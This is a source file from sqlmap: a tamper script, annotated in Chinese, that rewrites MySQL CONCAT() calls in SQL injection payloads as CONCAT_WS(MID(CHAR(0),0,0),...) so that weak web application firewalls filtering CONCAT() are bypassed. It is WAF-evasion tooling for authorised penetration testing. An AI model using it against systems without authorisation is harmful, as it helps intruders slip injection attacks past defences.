#!/usr/bin/env python """ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os # 导入操作系统模块,用于获取文件路径等信息 from lib.core.common import singleTimeWarnMessage # 从核心库导入单次警告消息函数 from lib.core.enums import DBMS # 从核心库导入数据库管理系统枚举 from lib.core.enums import PRIORITY # 从核心库导入优先级枚举 # 设置优先级为最高 __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ 这个函数用于篡改(tamper)输入的payload,将MySQL中的'CONCAT(A, B)'函数替换为其等效的'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'形式。 参数: payload:要篡改的原始payload。 **kwargs:其他可选参数(在本函数中未使用)。 要求: * 仅适用于MySQL数据库。 测试情况: * MySQL 5.0 注意: * 这个篡改方法对于绕过那些过滤CONCAT()函数的非常弱的定制Web应用防火墙很有用。 示例: >>> tamper('CONCAT(1,2)') 'CONCAT_WS(MID(CHAR(0),0,0),1,2)' """ if payload: # 将payload中的'CONCAT('替换为'CONCAT_WS(MID(CHAR(0),0,0),' payload = payload.replace("CONCAT(", "CONCAT_WS(MID(CHAR(0),0,0),") return payload